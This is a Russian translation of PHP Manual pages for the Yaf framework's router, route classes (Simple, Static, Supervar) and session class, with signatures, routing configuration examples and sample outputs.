Yaf_Router поставляется с предварительно настроенным маршрутом по умолчанию Yaf_Route_Static, который будет соответствовать URI в форме контроллера/действия. Кроме того, имя модуля может быть указано в качестве первого элемента пути, что позволяет использовать URI формы модуля/контроллера/действия. Наконец, он также будет соответствовать любым дополнительным параметрам, добавляемым к URI по умолчанию - controller /action/var1/value1/var2/value2.

Замечание:

Имя модуля должно быть определено в конфигурации с учётом application.module="Index,Foo,Bar", в этом случае только index, foo и bar могут рассматриваться как имя модуля. Если не настроено, есть только один модуль с именем "Index".

Некоторые примеры соответствия таких маршрутов:

Пример #5 Пример использования Yaf_Route_Static(маршрут по умолчанию)

// Предполагая следующую настройку:
$conf = array(
   "application" => array(
      "modules" => "Index,Blog",
   ),
);

Только контроллер:
http://example/news
    controller == news
Только действие (если определено yaf.action_prefer=1 в php.ini)
    action  == news

Неверный модуль отображается на имя контроллера:
http://example/foo
    controller == foo

Модуль + контроллер:
http://example/blog/archive
    module     == blog
    controller == archive

Модуль + контроллер + действие:
http://example/blog/archive/list
    module     == blog
    controller == archive
    action     == list

Модуль + контроллер + действие + параметры:
http://example/blog/archive/list/sort/alpha/date/desc
    module     == blog
    controller == archive
    action     == list
    sort       == alpha
    date       == desc

Обзор классов

class Yaf_Router {
/* Свойства */
protected $_routes;
protected $_current;
/* Методы */
public __construct()
public addConfig(Yaf_Config_Abstract $config): bool
public addRoute(string $name, Yaf_Route_Abstract $route): bool
public getCurrentRoute(): string
public getRoute(string $name): Yaf_Route_Interface
public getRoutes(): mixed
public route(Yaf_Request_Abstract $request): bool
}

Свойства

_routes

стек зарегистрированных маршрутов

_current

после фазы маршрутизации указывается название того, какой маршрут используется для маршрутизации текущего запроса. Вы можете получить его имя с помощью Yaf_Router::getCurrentRoute().

Содержание

  • Yaf_Router::addConfig — Добавляет настроенные маршруты в маршрутизатор
  • Yaf_Router::addRoute — Добавляет новый маршрут в маршрутизатор
  • Yaf_Router::__construct — Конструктор класса Yaf_Router
  • Yaf_Router::getCurrentRoute — Получает имя действующего маршрута
  • Yaf_Router::getRoute — Получает маршрут по имени
  • Yaf_Router::getRoutes — Получает зарегистрированные маршруты
  • Yaf_Router::route — Назначение route

User Contributed Notes

There are no user contributed notes for this page.


Добавляет настроенные маршруты в маршрутизатор

  • « Yaf_Router
  • Yaf_Router::addRoute »
  • PHP Manual
  • Yaf_Router
  • Добавляет настроенные маршруты в маршрутизатор

Yaf_Router::addConfig

(Yaf >=1.0.0)

Yaf_Router::addConfig — Добавляет настроенные маршруты в маршрутизатор

Описание

public Yaf_Router::addConfig(Yaf_Config_Abstract $config): bool

Добавляет маршруты, определённые конфигурациями, в стек маршрутов Yaf_Router

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Экземпляр Yaf_Config_Abstract, который должен содержать одну или несколько допустимых конфигураций маршрута

Примеры

Пример #1 Пример использования application.ini()

;порядок очень важен, предыдущий будет назван первым

;запрос на переписывание маршрута /product/*/*
routes.route_name.type="rewrite"
routes.route_name.match="/product/:name/:value"
routes.route_name.route.controller=product
routes.route_name.route.action=info

;запрос соответствия регулярного выражения /list/*/*
routes.route_name1.type="regex"
routes.route_name1.match="#^list/([^/]*)/([^/]*)#"
routes.route_name1.route.controller=Index
routes.route_name1.route.action=action
routes.route_name1.map.1=name
routes.route_name1.map.2=value

;простое соответствие маршрута /**?c=controller&a=action&m=module
routes.route_name2.type="simple"
routes.route_name2.controller=c
routes.route_name2.module=m
routes.route_name2.action=a

;простое соответствие маршрутизатора /**?r=PATH_INFO
routes.route_name3.type="supervar"
routes.route_name3.varname=r

;карта маршрута соответствует любому запросу к контроллеру
routes.route_name4.type="map"
routes.route_name4.controllerPrefer=TRUE
routes.route_namer.delimiter="#!"

Пример #2 Пример использования Yaf_Dispatcher::autoConfig()

<?php
class Bootstrap extends Yaf_Bootstrap_Abstract{
public function _initConfig() {
$config = Yaf_Application::app()->getConfig();
Yaf_Registry::set("config", $config);
}

public function _initRoute(Yaf_Dispatcher $dispatcher) {
$router = $dispatcher->getRouter();
/**
* мы можем добавить несколько предопределённых маршрутов в application.ini
*/
$router->addConfig(Yaf_Registry::get("config")->routes);
}
?>

Смотрите также

  • Yaf_Router::addRoute() - Добавляет новый маршрут в маршрутизатор
  • Yaf_Route_Static
  • Yaf_Route_Supervar
  • Yaf_Route_Simple
  • Yaf_Route_Regex
  • Yaf_Route_Rewrite
  • Yaf_Route_Map

User Contributed Notes

arthurzwl at gmail dot com 05-Jun-2017 09:04
The regex route should like this.
You need add "/" before "list"
routes.route_name1.match="#^/list/([^/]*)/([^/]*)#"


Добавляет новый маршрут в маршрутизатор

  • « Yaf_Router::addConfig
  • Yaf_Router::__construct »
  • PHP Manual
  • Yaf_Router
  • Добавляет новый маршрут в маршрутизатор

Yaf_Router::addRoute

(Yaf >=1.0.0)

Yaf_Router::addRoute — Добавляет новый маршрут в маршрутизатор

Описание

public Yaf_Router::addRoute(string $name, Yaf_Route_Abstract $route): bool

По умолчанию, Yaf_Router использует Yaf_Route_Static в качестве маршрута по умолчанию. Вы можете добавить новые маршруты в стек маршрутов маршрутизатора, вызвав этот метод.

Более новый маршрут будет вызван раньше, чем старый (стек маршрутов), и если более новый маршрутизатор вернёт true, процесс маршрутизатора будет завершён. В противном случае будет вызван более старый.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Примеры

Пример #1 Пример использования Yaf_Dispatcher::autoRender()

<?php
class Bootstrap extends Yaf_Bootstrap_Abstract{
public function _initConfig() {
$config = Yaf_Application::app()->getConfig();
Yaf_Registry::set("config", $config);
}

public function _initRoute(Yaf_Dispatcher $dispatcher) {
$router = $dispatcher->getRouter();
/**
* мы можем добавить несколько предопределённых маршрутов в application.ini
*/
$router->addConfig(Yaf_Registry::get("config")->routes);
/**
* добавьте Rewrite route, затем запрос uri:
* http://example.com/product/list/22/foo
* будет соответствовать этому маршруту, и результат:
*
* [module] =>
* [controller] => product
* [action] => info
* [method] => GET
* [params:protected] => Array
* (
* [id] => 22
* [name] => foo
* )
*
*/
$route = new Yaf_Route_Rewrite(
"/product/list/:id/:name",
array(
"controller" => "product",
"action" => "info",
)
);

$router->addRoute('dummy', $route);
}
}
?>

Смотрите также

  • Yaf_Router::addConfig() - Добавляет настроенные маршруты в маршрутизатор
  • Yaf_Route_Static
  • Yaf_Route_Supervar
  • Yaf_Route_Simple
  • Yaf_Route_Regex
  • Yaf_Route_Rewrite
  • Yaf_Route_Map

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса Yaf_Router

  • « Yaf_Router::addRoute
  • Yaf_Router::getCurrentRoute »
  • PHP Manual
  • Yaf_Router
  • Конструктор класса Yaf_Router

Yaf_Router::__construct

(Yaf >=1.0.0)

Yaf_Router::__construct — Конструктор класса Yaf_Router

Описание

public Yaf_Router::__construct()

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получает имя действующего маршрута

  • « Yaf_Router::__construct
  • Yaf_Router::getRoute »
  • PHP Manual
  • Yaf_Router
  • Получает имя действующего маршрута

Yaf_Router::getCurrentRoute

(Yaf >=1.0.0)

Yaf_Router::getCurrentRoute — Получает имя действующего маршрута

Описание

public Yaf_Router::getCurrentRoute(): string

Получает имя действующего маршрута.

Замечание:

Вы должны вызывать этот метод после завершения процесса маршрутизации, так как до этого этот метод всегда будет возвращать null.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Строка, название действующего маршрута.

Примеры

Пример #1 Регистрация некоторых маршрутов в Bootstrap

<?php
class Bootstrap extends Yaf_Bootstrap_Abstract{
public function _initConfig() {
$config = Yaf_Application::app()->getConfig();
Yaf_Registry::set("config", $config);
}

public function _initRoute(Yaf_Dispatcher $dispatcher) {
$router = $dispatcher->getRouter();
$rewrite_route = new Yaf_Route_Rewrite(
"/product/list/:page",
array(
"controller" => "product",
"action" => "list",
)
);

$regex_route = new Yaf_Route_Rewrite(
"#^/product/info/(\d+)",
array(
"controller" => "product",
"action" => "info",
)
);

$router->addRoute('rewrite', $rewrite_route)->addRoute('regex', $regex_route);
}

/**
* зарегистрировать плагин
*/
public function __initPlugins(Yaf_Dispatcher $dispatcher) {
$dispatcher->registerPlugin(new DummyPlugin());
}
}
?>

Пример #2 Плагин Dummy.php (в application.directory/plugins)

<?php
class DummyPlugin extends Yaf_Plugin_Abstract {

public function routerShutdown(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response) {
var_dump(Yaf_Dispatcher::getInstance()->getRouter()->getCurrentRoute());
}
}
?>

Результатом выполнения данного примера будет что-то подобное:

/* для http://yourdomain.com/product/list/1
 * DummyPlugin выведет:
 */
string(7) "rewrite"

/* для http://yourdomain.com/product/info/34
 * DummyPlugin выведет:
 */
string(5) "regex"

/* для другого запроса URI
 * DummyPlugin выведет:
 */
string(8) "_default"

Смотрите также

  • Yaf_Bootstrap_Abstract
  • Yaf_Plugin_Abstract
  • Yaf_Router::addRoute() - Добавляет новый маршрут в маршрутизатор

User Contributed Notes

There are no user contributed notes for this page.


Получает маршрут по имени

  • « Yaf_Router::getCurrentRoute
  • Yaf_Router::getRoutes »
  • PHP Manual
  • Yaf_Router
  • Получает маршрут по имени

Yaf_Router::getRoute

(Yaf >=1.0.0)

Yaf_Router::getRoute — Получает маршрут по имени

Описание

public Yaf_Router::getRoute(string $name): Yaf_Route_Interface

Получает маршрут по имени, смотрите также Yaf_Router::getCurrentRoute()

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Смотрите также

  • Yaf_Bootstrap_Abstract
  • Yaf_Plugin_Abstract
  • Yaf_Router::addRoute() - Добавляет новый маршрут в маршрутизатор
  • Yaf_Router::getCurrentRoute() - Получает имя действующего маршрута

User Contributed Notes

There are no user contributed notes for this page.


Получает зарегистрированные маршруты

  • « Yaf_Router::getRoute
  • Yaf_Router::route »
  • PHP Manual
  • Yaf_Router
  • Получает зарегистрированные маршруты

Yaf_Router::getRoutes

(Yaf >=1.0.0)

Yaf_Router::getRoutes — Получает зарегистрированные маршруты

Описание

public Yaf_Router::getRoutes(): mixed

Получает зарегистрированные маршруты

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение route

  • « Yaf_Router::getRoutes
  • Yaf_Route_Simple »
  • PHP Manual
  • Yaf_Router
  • Назначение route

Yaf_Router::route

(Yaf >=1.0.0)

Yaf_Router::route — Назначение route

Описание

public Yaf_Router::route(Yaf_Request_Abstract $request): bool

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Класс Yaf_Route_Simple

(Yaf >=1.0.0)

Введение

Yaf_Route_Simple будет сравнивать строку запроса и выдавать информацию по соответствующему маршруту.

Все, что вам нужно сделать, это сказать Yaf_Route_Simple, какой ключ в $_GET является модулем, какой контроллером, а какой действием.

Yaf_Route_Simple::route() всегда возвращает true, так что важно поместить Yaf_Route_Simple в начало стека маршрутизации, иначе никакие другие маршрутизаторы не будут вызваны.

Обзор классов

class Yaf_Route_Simple implements Yaf_Route_Interface {
/* Свойства */
protected $controller;
protected $module;
protected $action;
/* Методы */
public __construct(string $module_name, string $controller_name, string $action_name)
public assemble(array $info, array $query = ?): string
public route(Yaf_Request_Abstract $request): bool
}

Свойства

controller

module

action

Содержание

  • Yaf_Route_Simple::assemble — Собирает URL
  • Yaf_Route_Simple::__construct — Конструктор класса Yaf_Route_Simple
  • Yaf_Route_Simple::route — Направляет запрос

User Contributed Notes

There are no user contributed notes for this page.


Собирает URL

  • « Yaf_Route_Simple
  • Yaf_Route_Simple::__construct »
  • PHP Manual
  • Yaf_Route_Simple
  • Собирает URL

Yaf_Route_Simple::assemble

(Yaf >=2.3.0)

Yaf_Route_Simple::assemble — Собирает URL

Описание

public Yaf_Route_Simple::assemble(array $info, array $query = ?): string

Собирает URL.

Список параметров

info

query

Возвращаемые значения

Возвращает строку (string).

Ошибки

Выбрасывает Yaf_Exception_TypeError, если ключи параметра info ':c' or ':a' не заданы.

Примеры

Пример #1 Пример использования Yaf_Route_Simple::assemble()

<?php

$router = new Yaf_Router();

$route = new Yaf_Route_Simple('m', 'c', 'a');

$router->addRoute("simple", $route);

var_dump($router->getRoute('simple')->assemble(
array(
':a' => 'yafaction',
'tkey' => 'tval',
':c' => 'yafcontroller',
':m' => 'yafmodule'
),
array(
'tkey1' => 'tval1',
'tkey2' => 'tval2'
)
));

Результатом выполнения данного примера будет что-то подобное:

string(64) "?m=yafmodule&c=yafcontroller&a=yafaction&tkey1=tval1&tkey2=tval2"

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса Yaf_Route_Simple

  • « Yaf_Route_Simple::assemble
  • Yaf_Route_Simple::route »
  • PHP Manual
  • Yaf_Route_Simple
  • Конструктор класса Yaf_Route_Simple

Yaf_Route_Simple::__construct

(Yaf >=1.0.0)

Yaf_Route_Simple::__construct — Конструктор класса Yaf_Route_Simple

Описание

public Yaf_Route_Simple::__construct(string $module_name, string $controller_name, string $action_name)

Yaf_Route_Simple получит информацию о маршруте из строки запроса и параметры конструктора будут использоваться в качестве ключей при поиске информации о маршруте в $_GET.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

module_name

Имя ключа информации о модуле.

controller_name

Имя ключа информации о контроллере.

action_name

Имя ключа информации о действии.

Возвращаемые значения

Всегда возвращает true.

Примеры

Пример #1 Пример использования Yaf_Route_Simple::route()

<?php
$route = new Yaf_Route_Simple("m", "controller", "act");
Yaf_Router::getInstance()->addRoute("simple", $route);
?>

Пример #2 Пример использования Yaf_Route_Simple::route()

Запрос: http://yourdomain.com/path/?controller=a&act=b
=> module = default(index), controller = a, action = b

Запрос: http://yourdomain.com/path
=> module = default(index), controller = default(index), action = default(index)

Смотрите также

  • Yaf_Route_Supervar::route() - Назначение route
  • Yaf_Route_Static::route() - Направляет запрос
  • Yaf_Route_Regex::route() - Цель маршрута
  • Yaf_Route_Rewrite::route() - Назначение route
  • Yaf_Route_Map::route() - Назначение route

User Contributed Notes

There are no user contributed notes for this page.


Направляет запрос

  • « Yaf_Route_Simple::__construct
  • Yaf_Route_Static »
  • PHP Manual
  • Yaf_Route_Simple
  • Направляет запрос

Yaf_Route_Simple::route

(Yaf >=1.0.0)

Yaf_Route_Simple::route — Направляет запрос

Описание

public Yaf_Route_Simple::route(Yaf_Request_Abstract $request): bool

смотрите Yaf_Route_Simple::__construct()

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

request

Возвращаемые значения

Всегда возвращает true

Смотрите также

  • Yaf_Route_Supervar::route() - Назначение route
  • Yaf_Route_Static::route() - Направляет запрос
  • Yaf_Route_Regex::route() - Цель маршрута
  • Yaf_Route_Rewrite::route() - Назначение route
  • Yaf_Route_Map::route() - Назначение route

User Contributed Notes

There are no user contributed notes for this page.


Класс Yaf_Route_Static

(Yaf >=1.0.0)

Введение

По умолчанию, Yaf_Router содержит только Yaf_Route_Static.

И Yaf_Route_Static спроектирован таким образом, чтобы покрывать 80% всех возможных потребностей в маршрутизации.

Пожалуйста *ОБРАТИТЕ ВНИМАНИЕ*, что не нужно инстанциировать Yaf_Route_Static, также не нужно добавлять его в стек Yaf_Router, так как он есть в стеке маршрутизации Yaf_Router по умолчанию и всегда будет вызываться последним.

Обзор классов

class Yaf_Route_Static implements Yaf_Router {
/* Методы */
public assemble(array $info, array $query = ?): string
public match(string $uri): void
public route(Yaf_Request_Abstract $request): bool
}

Содержание

  • Yaf_Route_Static::assemble — Собирает URL
  • Yaf_Route_Static::match — Назначение match
  • Yaf_Route_Static::route — Направляет запрос

User Contributed Notes

There are no user contributed notes for this page.


Собирает URL

  • « Yaf_Route_Static
  • Yaf_Route_Static::match »
  • PHP Manual
  • Yaf_Route_Static
  • Собирает URL

Yaf_Route_Static::assemble

(Yaf >=2.3.0)

Yaf_Route_Static::assemble — Собирает URL

Описание

public Yaf_Route_Static::assemble(array $info, array $query = ?): string

Собирает URL.

Список параметров

info

query

Возвращаемые значения

Возвращает строку (string).

Ошибки

Выбрасывает Yaf_Exception_TypeError, если ключи параметра info ':c' and ':a' не заданы.

Примеры

Пример #1 Пример использования Yaf_Route_Static::assemble()

<?php

$router = new Yaf_Router();

$route = new Yaf_Route_Static();

$router->addRoute("static", $route);

var_dump($router->getRoute('static')->assemble(
array(
':a' => 'yafaction',
'tkey' => 'tval',
':c' => 'yafcontroller',
':m' => 'yafmodule'
),
)
);

var_dump($router->getRoute('static')->assemble(
array(
':a' => 'yafaction',
'tkey' => 'tval',
':c' => 'yafcontroller',
':m' => 'yafmodule'
),
array(
'tkey1' => 'tval1',
'tkey2' => 'tval2'
)
)
);

Результатом выполнения данного примера будет что-то подобное:

string(%d) "/yafmodule/yafcontroller/yafaction"
string(%d) "/yafmodule/yafcontroller/yafaction?tkey1=tval1&tkey2=tval2"

User Contributed Notes

There are no user contributed notes for this page.


Назначение match

  • « Yaf_Route_Static::assemble
  • Yaf_Route_Static::route »
  • PHP Manual
  • Yaf_Route_Static
  • Назначение match

Yaf_Route_Static::match

(Yaf >=1.0.0)

Yaf_Route_Static::match — Назначение match

Описание

public Yaf_Route_Static::match(string $uri): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

uri

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Направляет запрос

  • « Yaf_Route_Static::match
  • Yaf_Route_Supervar »
  • PHP Manual
  • Yaf_Route_Static
  • Направляет запрос

Yaf_Route_Static::route

(Yaf >=1.0.0)

Yaf_Route_Static::route — Направляет запрос

Описание

public Yaf_Route_Static::route(Yaf_Request_Abstract $request): bool

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

request

Возвращаемые значения

Всегда возвращает true

Примеры

Пример #1 Пример использования Yaf_Route_Static::route()

// при условии, что определён только один модуль:Index
Запрос: http://yourdomain.com/a/b
=> module = index, controller=a, action=b

//при условии, что ap.action_prefer = On
Запрос: http://yourdomain.com/b
=> module = default(index), controller = default(index), action = b

//при условии, что ap.action_prefer = Off
Запрос: http://yourdomain.com/b
=> module = default(index), controller = b, action = default(index)

Запрос: http://yourdomain.com/a/b/foo/bar/test/a/id/4
=> module = default(index), controller = a, action = b, параметры запроса: foo = bar, test = a, id = 4

Смотрите также

  • Yaf_Route_Supervar::route() - Назначение route
  • Yaf_Route_Simple::route() - Направляет запрос
  • Yaf_Route_Regex::route() - Цель маршрута
  • Yaf_Route_Rewrite::route() - Назначение route
  • Yaf_Route_Map::route() - Назначение route

User Contributed Notes

There are no user contributed notes for this page.


Класс Yaf_Route_Supervar

(Yaf >=1.0.0)

Введение

Обзор классов

class Yaf_Route_Supervar implements Yaf_Route_Interface {
/* Свойства */
protected $_var_name;
/* Методы */
public __construct(string $supervar_name)
public assemble(array $info, array $query = ?): string
public route(Yaf_Request_Abstract $request): bool
}

Свойства

_var_name

Содержание

  • Yaf_Route_Supervar::assemble — Собирает URL
  • Yaf_Route_Supervar::__construct — Назначение __construct
  • Yaf_Route_Supervar::route — Назначение route

User Contributed Notes

There are no user contributed notes for this page.


Собирает URL

  • « Yaf_Route_Supervar
  • Yaf_Route_Supervar::__construct »
  • PHP Manual
  • Yaf_Route_Supervar
  • Собирает URL

Yaf_Route_Supervar::assemble

(Yaf >=2.3.0)

Yaf_Route_Supervar::assemble — Собирает URL

Описание

public Yaf_Route_Supervar::assemble(array $info, array $query = ?): string

Собирает URL.

Список параметров

info

query

Возвращаемые значения

Возвращает строку (string).

Ошибки

Выбрасывает Yaf_Exception_TypeError, если ключи параметра info ':c' and ':a' не заданы.

Примеры

Пример #1 Пример использования Yaf_Route_Supervar::assemble()

<?php

$router = new Yaf_Router();

$route = new Yaf_Route_Supervar('r');

$router->addRoute("supervar", $route);

var_dump($router->getRoute('supervar')->assemble(
array(
':a' => 'yafaction',
'tkey' => 'tval',
':c' => 'yafcontroller',
':m' => 'yafmodule'
),
array(
'tkey1' => 'tval1',
'tkey2' => 'tval2'
)
));

try {
var_dump($router->getRoute('supervar')->assemble(
array(
':a' => 'yafaction',
'tkey' => 'tval',
':m' => 'yafmodule'
),
array(
'tkey1' => 'tval1',
'tkey2' => 'tval2',
1 => array(),
)
));
} catch (Exception $e) {
var_dump($e->getMessage());
}

Результатом выполнения данного примера будет что-то подобное:

string(%d) "?r=/yafmodule/yafcontroller/yafaction&tkey1=tval1&tkey2=tval2"
string(%d) "You need to specify the controller by ':c'"

User Contributed Notes

There are no user contributed notes for this page.


Назначение __construct

  • « Yaf_Route_Supervar::assemble
  • Yaf_Route_Supervar::route »
  • PHP Manual
  • Yaf_Route_Supervar
  • Назначение __construct

Yaf_Route_Supervar::__construct

(Yaf >=1.0.0)

Yaf_Route_Supervar::__construct — Назначение __construct

Описание

public Yaf_Route_Supervar::__construct(string $supervar_name)

Yaf_Route_Supervar похож на Yaf_Route_Static, разница в том, что Yaf_Route_Supervar будет искать информацию о пути в строке запроса, а параметр supervar_name является ключом.

Список параметров

supervar_name

Название ключа.

Возвращаемые значения

Примеры

Пример #1 Пример использования Yaf_Route_Supervar()

<?php
/**
* Добавление маршрута supervar в стек маршрутов Yaf_Router
*/
Yaf_Dispatcher::getInstance()->getRouter()->addRoute(
"name",
new Yaf_Route_Supervar("r")
);
?>

Результатом выполнения данного примера будет что-то подобное:

/** для запроса: http://yourdomain.com/xx/oo/?r=/ctr/act/var/value
  * будет следующий результат:
  */
  array (
    "module"   => index(default),
    "controller" => ctr,
    "action"     => act,
    "params"     => array(
          "var" => value,
     )
  )

Смотрите также

  • Yaf_Router::addRoute() - Добавляет новый маршрут в маршрутизатор
  • Yaf_Router::addConfig() - Добавляет настроенные маршруты в маршрутизатор
  • Yaf_Route_Static
  • Yaf_Route_Regex
  • Yaf_Route_Simple
  • Yaf_Route_Rewrite
  • Yaf_Route_Map

User Contributed Notes

There are no user contributed notes for this page.


Назначение route

  • « Yaf_Route_Supervar::__construct
  • Yaf_Session »
  • PHP Manual
  • Yaf_Route_Supervar
  • Назначение route

Yaf_Route_Supervar::route

(Yaf >=1.0.0)

Yaf_Route_Supervar::route — Назначение route

Описание

public Yaf_Route_Supervar::route(Yaf_Request_Abstract $request): bool

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

request

Возвращаемые значения

Если в $_GET есть ключ (который был определён в Yaf_Route_Supervar::__construct()), вернёт true, в противном случае вернёт false.

User Contributed Notes

There are no user contributed notes for this page.


Класс Yaf_Session

(Yaf >=1.0.0)

Введение

Обзор классов

class Yaf_Session implements Iterator, ArrayAccess, Countable {
/* Свойства */
protected static $_instance;
protected $_session;
protected $_started;
/* Методы */
private __construct()
public count(): void
public current(): void
public del(string $name): void
public __get(string $name): void
public static getInstance(): void
public has(string $name): void
public __isset(string $name): void
public key(): void
public next(): void
public offsetExists(string $name): void
public offsetGet(string $name): void
public offsetSet(string $name, string $value): void
public offsetUnset(string $name): void
public rewind(): void
public __set(string $name, string $value): void
public start(): void
public __unset(string $name): void
public valid(): void
}

Свойства

_instance

_session

_started

Содержание

  • Yaf_Session::__construct — Конструктор класса Yaf_Session
  • Yaf_Session::count — Назначение count
  • Yaf_Session::current — Назначение current
  • Yaf_Session::del — Назначение del
  • Yaf_Session::__get — Назначение __get
  • Yaf_Session::getInstance — Назначение getInstance
  • Yaf_Session::has — Назначение has
  • Yaf_Session::__isset — Назначение __isset
  • Yaf_Session::key — Назначение key
  • Yaf_Session::next — Назначение next
  • Yaf_Session::offsetExists — Назначение offsetExists
  • Yaf_Session::offsetGet — Назначение offsetGet
  • Yaf_Session::offsetSet — Назначение offsetSet
  • Yaf_Session::offsetUnset — Назначение offsetUnset
  • Yaf_Session::rewind — Назначение rewind
  • Yaf_Session::__set — Назначение __set
  • Yaf_Session::start — Назначение start
  • Yaf_Session::__unset — Назначение __unset
  • Yaf_Session::valid — Назначение valid

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса Yaf_Session

  • « Yaf_Session
  • Yaf_Session::count »
  • PHP Manual
  • Yaf_Session
  • Конструктор класса Yaf_Session

Yaf_Session::__construct

(Yaf >=1.0.0)

Yaf_Session::__construct — Конструктор класса Yaf_Session

Описание

private Yaf_Session::__construct()

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение count

  • « Yaf_Session::__construct
  • Yaf_Session::current »
  • PHP Manual
  • Yaf_Session
  • Назначение count

Yaf_Session::count

(Yaf >=1.0.0)

Yaf_Session::count — Назначение count

Описание

public Yaf_Session::count(): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение current

  • « Yaf_Session::count
  • Yaf_Session::del »
  • PHP Manual
  • Yaf_Session
  • Назначение current

Yaf_Session::current

(Yaf >=1.0.0)

Yaf_Session::current — Назначение current

Описание

public Yaf_Session::current(): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение del

  • « Yaf_Session::current
  • Yaf_Session::__get »
  • PHP Manual
  • Yaf_Session
  • Назначение del

Yaf_Session::del

(Yaf >=1.0.0)

Yaf_Session::del — Назначение del

Описание

public Yaf_Session::del(string $name): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

name

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение __get

  • « Yaf_Session::del
  • Yaf_Session::getInstance »
  • PHP Manual
  • Yaf_Session
  • Назначение __get

Yaf_Session::__get

(Yaf >=1.0.0)

Yaf_Session::__get — Назначение __get

Описание

public Yaf_Session::__get(string $name): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

name

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение getInstance

  • « Yaf_Session::__get
  • Yaf_Session::has »
  • PHP Manual
  • Yaf_Session
  • Назначение getInstance

Yaf_Session::getInstance

(Yaf >=1.0.0)

Yaf_Session::getInstance — Назначение getInstance

Описание

public static Yaf_Session::getInstance(): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение has

  • « Yaf_Session::getInstance
  • Yaf_Session::__isset »
  • PHP Manual
  • Yaf_Session
  • Назначение has

Yaf_Session::has

(Yaf >=1.0.0)

Yaf_Session::has — Назначение has

Описание

public Yaf_Session::has(string $name): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

name

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение __isset

  • « Yaf_Session::has
  • Yaf_Session::key »
  • PHP Manual
  • Yaf_Session
  • Назначение __isset

Yaf_Session::__isset

(Yaf >=1.0.0)

Yaf_Session::__isset — Назначение __isset

Описание

public Yaf_Session::__isset(string $name): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

name

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение key

  • « Yaf_Session::__isset
  • Yaf_Session::next »
  • PHP Manual
  • Yaf_Session
  • Назначение key

Yaf_Session::key

(Yaf >=1.0.0)

Yaf_Session::key — Назначение key

Описание

public Yaf_Session::key(): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение next

  • « Yaf_Session::key
  • Yaf_Session::offsetExists »
  • PHP Manual
  • Yaf_Session
  • Назначение next

Yaf_Session::next

(Yaf >=1.0.0)

Yaf_Session::next — Назначение next

Описание

public Yaf_Session::next(): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение offsetExists

  • « Yaf_Session::next
  • Yaf_Session::offsetGet »
  • PHP Manual
  • Yaf_Session
  • Назначение offsetExists

Yaf_Session::offsetExists

(Yaf >=1.0.0)

Yaf_Session::offsetExists — Назначение offsetExists

Описание

public Yaf_Session::offsetExists(string $name): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

name

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение offsetGet

  • « Yaf_Session::offsetExists
  • Yaf_Session::offsetSet »
  • PHP Manual
  • Yaf_Session
  • Назначение offsetGet

Yaf_Session::offsetGet

(Yaf >=1.0.0)

Yaf_Session::offsetGet — Назначение offsetGet

Описание

public Yaf_Session::offsetGet(string $name): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

name

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение offsetSet

  • « Yaf_Session::offsetGet
  • Yaf_Session::offsetUnset »
  • PHP Manual
  • Yaf_Session
  • Назначение offsetSet

Yaf_Session::offsetSet

(Yaf >=1.0.0)

Yaf_Session::offsetSet — Назначение offsetSet

Описание

public Yaf_Session::offsetSet(string $name, string $value): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

name

value

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


